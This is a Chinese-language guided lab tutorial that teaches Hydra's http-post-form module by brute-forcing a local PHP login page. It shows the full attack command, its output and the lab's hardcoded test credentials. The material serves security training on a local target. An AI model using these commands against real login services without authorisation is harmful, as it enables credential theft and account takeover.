探索 Hydra 模块特定选项

HydraBeginner
立即练习

介绍

在这个实验(Lab)中,我们将探索 Hydra 中可用的 HTTP POST 选项,重点关注如何有效地针对使用 HTTP POST 进行身份验证的服务。我们将学习如何指定用户名和密码,以及 POST 请求应该发送到的 URL。

这个实验(Lab)将指导你完成以下内容:查看 HTTP POST 选项、设置 HTTP POST 表单、使用特定选项运行 Hydra,以及验证 POST 攻击。你将学习如何使用 Hydra 对使用 HTTP POST 进行身份验证的服务进行暴力破解登录凭据。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 中级 级别的实验,完成率为 64%。获得了学习者 100% 的好评率。

复习 HTTP POST 选项

在这一步,我们将探索 Hydra 中可用的 HTTP POST 选项。Hydra 是一个用于暴力破解登录凭据的强大工具,它支持各种协议,包括 HTTP POST。当针对使用 HTTP POST 进行身份验证的 Web 应用程序时,我们需要向 Hydra 提供有关登录表单的特定信息。

使用 Hydra 进行 HTTP POST 的基本语法如下:

hydra -l <username> -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>"

让我们分解一下关键组件:

  • hydra: 调用 Hydra 的命令。
  • -l <username>: 指定一个用户名用于攻击。如果你有一个用户名列表,你可以使用 -L <username_list> 选项。
  • -P <password_list>: 指定包含要尝试的密码列表的文件的路径。
  • <target_ip>: 目标服务器的 IP 地址。
  • http-post-form: 指定我们正在使用 HTTP POST 表单模块。此模块旨在攻击使用 POST 方法的 Web 表单。
  • "<url>:<post_data>:<failure_string>": 这是至关重要的一部分,它告诉 Hydra 如何与登录表单交互。
    • <url>: 处理 POST 请求的登录脚本或页面的路径(例如,/login.php)。
    • <post_data>: 将在 POST 请求正文中发送的数据。这通常包括来自 HTML 表单的用户名和密码字段的名称,以及 Hydra 将填写的用户名和密码的占位符。占位符通常是用户名使用 ^USER^,密码使用 ^PASS^(例如,username=^USER^&password=^PASS^)。
    • <failure_string>: 出现在登录尝试失败的响应中的字符串。Hydra 使用此字符串来确定登录尝试是否不成功。你需要通过手动尝试使用不正确的凭据登录并观察响应来识别此字符串。

在接下来的步骤中,我们将设置一个简单的 HTTP POST 表单,然后使用 Hydra 攻击它,应用这些选项。

设置 HTTP POST 表单

在这一步,我们将设置一个简单的 HTTP POST 表单,可以用作 Hydra 攻击的目标。在设置阶段,我们已经在 ~/project 目录中创建了必要的文件(login.htmllogin.php)。

让我们检查这些文件的内容,以了解表单的结构以及 PHP 脚本如何处理登录尝试。

首先,我们来看看 login.html

cat ~/project/login.html
<!doctype html>
<html>
  <head>
    <title>Login Form</title>
  </head>
  <body>
    <h1>Login</h1>
    <form method="post" action="login.php">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

这段 HTML 代码定义了一个使用 POST 方法并将数据提交到 login.php 的表单。输入字段的名称是 usernamepassword。这告诉我们 POST 数据应该包括 username=<value>password=<value>

现在,我们来看看 login.php

cat ~/project/login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];

if ($username == 'testuser' && $password == 'password') {
  echo "Login successful!";
} else {
  echo "Invalid username or password";
}
?>

这个 PHP 脚本检查提交的 username 是否为 testuser,以及 password 是否为 password。如果匹配,它将输出 "Login successful!"。否则,它将输出 "Invalid username or password"。

从这个脚本中,我们可以识别出失败字符串:“Invalid username or password”。这是 Hydra 将在响应中查找的字符串,以确定登录尝试是否失败。

登录表单和 PHP 脚本的截图

现在我们了解了表单的结构和失败消息,我们已经拥有了在下一步中构建 Hydra 命令所需的所有信息。

检查 Web 服务状态

在进行下一步之前,请验证 PHP Web 服务是否正在运行并且可访问。在你的终端中运行以下命令:

curl -s http://0.0.0.0:8080/login.php

如果你看到页面内容(例如 "Invalid username or password"),则服务正在正常运行。

显示成功 Web 服务检查的截图

如果没有响应或你收到连接错误,你可以手动启动 PHP 内置 Web 服务器,使用:

nohup php -S 0.0.0.0:8080 -t /home/labex/project > /dev/null 2>&1 &

稍等片刻,然后再次尝试 curl 命令。

使用 HTTP POST 运行 Hydra

现在我们已经设置了目标 HTTP POST 表单并了解了其结构,我们可以使用 Hydra 尝试暴力破解登录凭据。我们将使用上一步中收集的信息来构建 Hydra 命令。

我们知道以下几点:

  • 目标 URL 是 /login.php
  • POST 数据应采用 username=^USER^&password=^PASS^ 格式。
  • 失败字符串是 "Invalid username or password"。
  • 我们将使用用户名 testuser 和密码列表 ~/project/password.txt
  • 目标 IP 地址是 0.0.0.0(假设 Web 服务器在本地运行)。

让我们将这些组合成一个 Hydra 命令:

hydra -l testuser -P ~/project/password.txt 0.0.0.0 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid username or password"

在终端中执行此命令:

终端中 Hydra 命令的执行

Hydra 现在将开始尝试使用指定的用户名和密码列表中的密码登录到目标表单。它将向 http://0.0.0.0:8080/login.php 发送 HTTP POST 请求,其中包含用户名和 POST 数据中的每个密码。如果响应不包含失败字符串 "Invalid username or password",Hydra 将认为登录尝试成功并报告凭据。

输出将显示攻击的进度。由于正确的密码(password)包含在我们的 password.txt 文件中,Hydra 最终应该找到它。

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-22 09:55:07
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://0.0.0.0:8080/login.php:username=^USER^&password=^PASS^:F=Invalid username or password
[8080][http-post-form] host: 0.0.0.0   login: testuser   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-22 09:55:08

[http-post] host: 0.0.0.0 login: testuser password: password 这一行表明 Hydra 成功找到了正确的凭据。

验证 POST 攻击结果

在这一步,我们将通过两种方式验证 Hydra 成功识别了 testuser 帐户的正确密码:

  1. 首先,通过检查 Hydra 的输出:
[8080][http-post-form] host: 0.0.0.0   login: testuser   password: password

这行表明 Hydra 找到了有效的凭据:用户名 testuser,密码 password

  1. 其次,通过在 Web 界面中手动验证这些凭据:

要访问 LabEx 环境中的登录表单:

  1. 点击顶部菜单栏中的“Web 8080”标签
  2. 在地址栏中,在当前 URL 的末尾添加 /login.html
  3. 输入 Hydra 发现的凭据:
    • 用户名:testuser
    • 密码:password
  4. 点击“登录”按钮
Hydra 攻击后成功登录的截图

如果你在提交表单后看到 "Login successful!",这确认了 Hydra 找到的凭据确实是正确的。

如果你没有看到成功消息,请回顾之前的步骤以确保:

  • ~/project 中的 password.txt 文件包含密码 password
  • ~/project 中的 login.php 文件正确检查了用户名 testuser 和密码 password,并返回了相应的消息
  • Web 服务器仍在运行(如果需要,你可以使用 php -S 0.0.0.0:8080 -t /home/labex/project 重新启动它)

通过成功完成此步骤并通过 Hydra 的输出和手动测试验证凭据,你已经证明了你使用 Hydra 发现有效登录凭据并确认其真实性的能力。

总结

在这个实验中,我们探讨了如何使用 Hydra 攻击使用 HTTP POST 进行身份验证的 Web 应用程序。我们了解了 http-post-form 模块所需的主要选项,包括指定目标 URL、包含用户名和密码占位符(^USER^^PASS^)的 POST 数据格式,以及识别响应中的失败字符串以检测不成功的登录尝试。

我们设置了一个简单的 HTML 表单和一个 PHP 脚本来模拟登录页面,这使我们能够理解 POST 请求的结构和预期的响应。通过构建和执行适当的 Hydra 命令,我们成功地暴力破解了登录凭据,展示了 Hydra 在攻击 HTTP POST 表单方面的强大功能。

你已经学会了如何:

  • 了解将 Hydra 与 HTTP POST 一起使用的基本语法。
  • 从 Web 表单中识别必要的信息(URL、字段名称、失败消息)。
  • 构建一个 Hydra 命令来针对 HTTP POST 表单。
  • 解释 Hydra 的输出以验证成功的登录攻击。

这个实验提供了使用 Hydra 进行 HTTP POST 攻击的基础理解,这是 Web 应用程序安全测试中的常见场景。